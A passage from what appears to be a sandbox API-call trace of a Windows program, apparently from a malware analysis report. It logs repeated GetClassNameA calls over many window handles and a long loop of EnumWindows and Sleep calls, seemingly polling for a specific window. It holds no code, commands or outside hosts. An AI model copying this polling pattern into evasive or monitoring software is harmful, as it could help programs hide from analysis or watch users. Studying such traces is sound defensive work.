out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.985] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.986] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.025] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.026] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0296.027] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x8014a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0296.027] Sleep (dwMilliseconds=0x64) [0296.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.098] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0296.098] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0296.098] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0296.098] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0296.098] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0296.098] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0296.099] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0296.099] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0296.099] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0296.099] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0296.099] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0296.099] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0296.099] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0296.101] Sleep (dwMilliseconds=0x64) [0296.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.115] Sleep (dwMilliseconds=0x64) [0296.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.123] Sleep (dwMilliseconds=0x64) [0296.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.130] Sleep (dwMilliseconds=0x64) [0296.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.137] Sleep (dwMilliseconds=0x64) [0296.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.230] Sleep (dwMilliseconds=0x64) [0296.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.238] Sleep (dwMilliseconds=0x64) [0296.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.267] Sleep (dwMilliseconds=0x64) [0296.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.275] Sleep (dwMilliseconds=0x64) [0296.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.278] Sleep (dwMilliseconds=0x64) [0296.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.280] Sleep (dwMilliseconds=0x64) [0296.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.281] Sleep (dwMilliseconds=0x64) [0296.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.284] Sleep (dwMilliseconds=0x64) [0296.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.286] Sleep (dwMilliseconds=0x64) [0296.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.288] Sleep (dwMilliseconds=0x64) [0296.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.290] Sleep (dwMilliseconds=0x64) [0296.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.296] Sleep (dwMilliseconds=0x64) [0296.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.370] Sleep (dwMilliseconds=0x64) [0296.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.410] Sleep (dwMilliseconds=0x64) [0296.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.419] Sleep (dwMilliseconds=0x64) [0296.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.513] Sleep (dwMilliseconds=0x64) [0296.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.522] Sleep (dwMilliseconds=0x64) [0296.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.581] Sleep (dwMilliseconds=0x64) [0296.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.590] Sleep (dwMilliseconds=0x64) [0296.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.598] Sleep (dwMilliseconds=0x64) [0296.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.606] Sleep (dwMilliseconds=0x64) [0296.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.612] Sleep (dwMilliseconds=0x64) [0296.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.649] Sleep (dwMilliseconds=0x64) [0296.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.726] Sleep (dwMilliseconds=0x64) [0296.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.731] Sleep (dwMilliseconds=0x64) [0296.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.735] Sleep (dwMilliseconds=0x64) [0296.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.739] Sleep (dwMilliseconds=0x64) [0296.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.743] Sleep (dwMilliseconds=0x64) [0296.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.747] Sleep (dwMilliseconds=0x64) [0296.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.749] Sleep (dwMilliseconds=0x64) [0296.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.750] Sleep (dwMilliseconds=0x64) [0296.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.753] Sleep (dwMilliseconds=0x64) [0296.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.755] Sleep (dwMilliseconds=0x64) [0296.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.772] Sleep (dwMilliseconds=0x64) [0296.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.867] Sleep (dwMilliseconds=0x64) [0296.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.873] Sleep (dwMilliseconds=0x64) [0296.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.876] Sleep (dwMilliseconds=0x64) [0296.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.880] Sleep (dwMilliseconds=0x64) [0296.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.882] Sleep (dwMilliseconds=0x64) [0296.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.884] Sleep (dwMilliseconds=0x64) [0296.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.886] Sleep (dwMilliseconds=0x64) [0296.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.889] Sleep (dwMilliseconds=0x64) [0296.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.892] Sleep (dwMilliseconds=0x64) [0296.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.893] Sleep (dwMilliseconds=0x64) [0296.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.896] Sleep (dwMilliseconds=0x64) [0296.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.897] Sleep (dwMilliseconds=0x64) [0296.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.900] Sleep (dwMilliseconds=0x64) [0296.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.902] Sleep (dwMilliseconds=0x64) [0296.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.904] Sleep (dwMilliseconds=0x64) [0296.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.906] Sleep (dwMilliseconds=0x64) [0296.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.908] Sleep (dwMilliseconds=0x64) [0296.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.910] Sleep (dwMilliseconds=0x64) [0296.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.912] Sleep (dwMilliseconds=0x64) [0296.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.913] Sleep (dwMilliseconds=0x64) [0296.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.916] Sleep (dwMilliseconds=0x64) [0296.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.918] Sleep (dwMilliseconds=0x64) [0296.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0296.991] Sleep (dwMilliseconds=0x64) [0297.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.022] Sleep (dwMilliseconds=0x64) [0297.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.027] Sleep (dwMilliseconds=0x64) [0297.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.029] Sleep (dwMilliseconds=0x64) [0297.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.031] Sleep (dwMilliseconds=0x64) [0297.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.033] Sleep (dwMilliseconds=0x64) [0297.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.036] Sleep (dwMilliseconds=0x64) [0297.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.038] Sleep (dwMilliseconds=0x64) [0297.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.040] Sleep (dwMilliseconds=0x64) [0297.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.042] Sleep (dwMilliseconds=0x64) [0297.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.044] Sleep (dwMilliseconds=0x64) [0297.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.046] Sleep (dwMilliseconds=0x64) [0297.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.048] Sleep (dwMilliseconds=0x64) [0297.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.050] Sleep (dwMilliseconds=0x64) [0297.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.091] Sleep (dwMilliseconds=0x64) [0297.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.150] Sleep (dwMilliseconds=0x64) [0297.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.228] Sleep (dwMilliseconds=0x64) [0297.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.252] Sleep (dwMilliseconds=0x64) [0297.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.355] Sleep (dwMilliseconds=0x64) [0297.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.465] Sleep (dwMilliseconds=0x64) [0297.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.469] Sleep (dwMilliseconds=0x64) [0297.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.471] Sleep (dwMilliseconds=0x64) [0297.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.473] Sleep (dwMilliseconds=0x64) [0297.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.481] Sleep (dwMilliseconds=0x64) [0297.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.489] Sleep (dwMilliseconds=0x64) [0297.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.497] Sleep (dwMilliseconds=0x64) [0297.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.604] Sleep (dwMilliseconds=0x64) [0297.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.669] Sleep (dwMilliseconds=0x64) [0297.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.678] Sleep (dwMilliseconds=0x64) [0297.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.686] Sleep (dwMilliseconds=0x64) [0297.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.689] Sleep (dwMilliseconds=0x64) [0297.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.692] Sleep (dwMilliseconds=0x64) [0297.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.694] Sleep (dwMilliseconds=0x64) [0297.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.696] Sleep (dwMilliseconds=0x64) [0297.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.705] Sleep (dwMilliseconds=0x64) [0297.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.763] Sleep (dwMilliseconds=0x64) [0297.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.817] Sleep (dwMilliseconds=0x64) [0297.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.827] Sleep (dwMilliseconds=0x64) [0297.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.836] Sleep (dwMilliseconds=0x64) [0297.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.844] Sleep (dwMilliseconds=0x64) [0297.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.852] Sleep (dwMilliseconds=0x64) [0297.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.880] Sleep (dwMilliseconds=0x64) [0297.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.975] Sleep (dwMilliseconds=0x64) [0297.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.977] Sleep (dwMilliseconds=0x64) [0297.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.980] Sleep (dwMilliseconds=0x64) [0297.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.982] Sleep (dwMilliseconds=0x64) [0297.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.984] Sleep (dwMilliseconds=0x64) [0297.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.986] Sleep (dwMilliseconds=0x64) [0297.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0297.988] Sleep (dwMilliseconds=0x64) [0298.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.066] Sleep (dwMilliseconds=0x64) [0298.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.100] Sleep (dwMilliseconds=0x64) [0298.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.103] Sleep (dwMilliseconds=0x64) [0298.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.105] Sleep (dwMilliseconds=0x64) [0298.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.107] Sleep (dwMilliseconds=0x64) [0298.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.109] Sleep (dwMilliseconds=0x64) [0298.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.111] Sleep (dwMilliseconds=0x64) [0298.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.113] Sleep (dwMilliseconds=0x64) [0298.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.189] Sleep (dwMilliseconds=0x64) [0298.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.247] Sleep (dwMilliseconds=0x64) [0298.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.250] Sleep (dwMilliseconds=0x64) [0298.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.251] Sleep (dwMilliseconds=0x64) [0298.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.253] Sleep (dwMilliseconds=0x64) [0298.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.256] Sleep (dwMilliseconds=0x64) [0298.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.258] Sleep (dwMilliseconds=0x64) [0298.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.260] Sleep (dwMilliseconds=0x64) [0298.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.279] Sleep (dwMilliseconds=0x64) [0298.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.322] Sleep (dwMilliseconds=0x64) [0298.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.409] Sleep (dwMilliseconds=0x64) [0298.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.412] Sleep (dwMilliseconds=0x64) [0298.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.413] Sleep (dwMilliseconds=0x64) [0298.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.421] Sleep (dwMilliseconds=0x64) [0298.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.423] Sleep (dwMilliseconds=0x64) [0298.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.425] Sleep (dwMilliseconds=0x64) [0298.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.427] Sleep (dwMilliseconds=0x64) [0298.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.429] Sleep (dwMilliseconds=0x64) [0298.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.431] Sleep (dwMilliseconds=0x64) [0298.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.434] Sleep (dwMilliseconds=0x64) [0298.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.436] Sleep (dwMilliseconds=0x64) [0298.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.438] Sleep (dwMilliseconds=0x64) [0298.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.455] Sleep (dwMilliseconds=0x64) [0298.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.456] Sleep (dwMilliseconds=0x64) 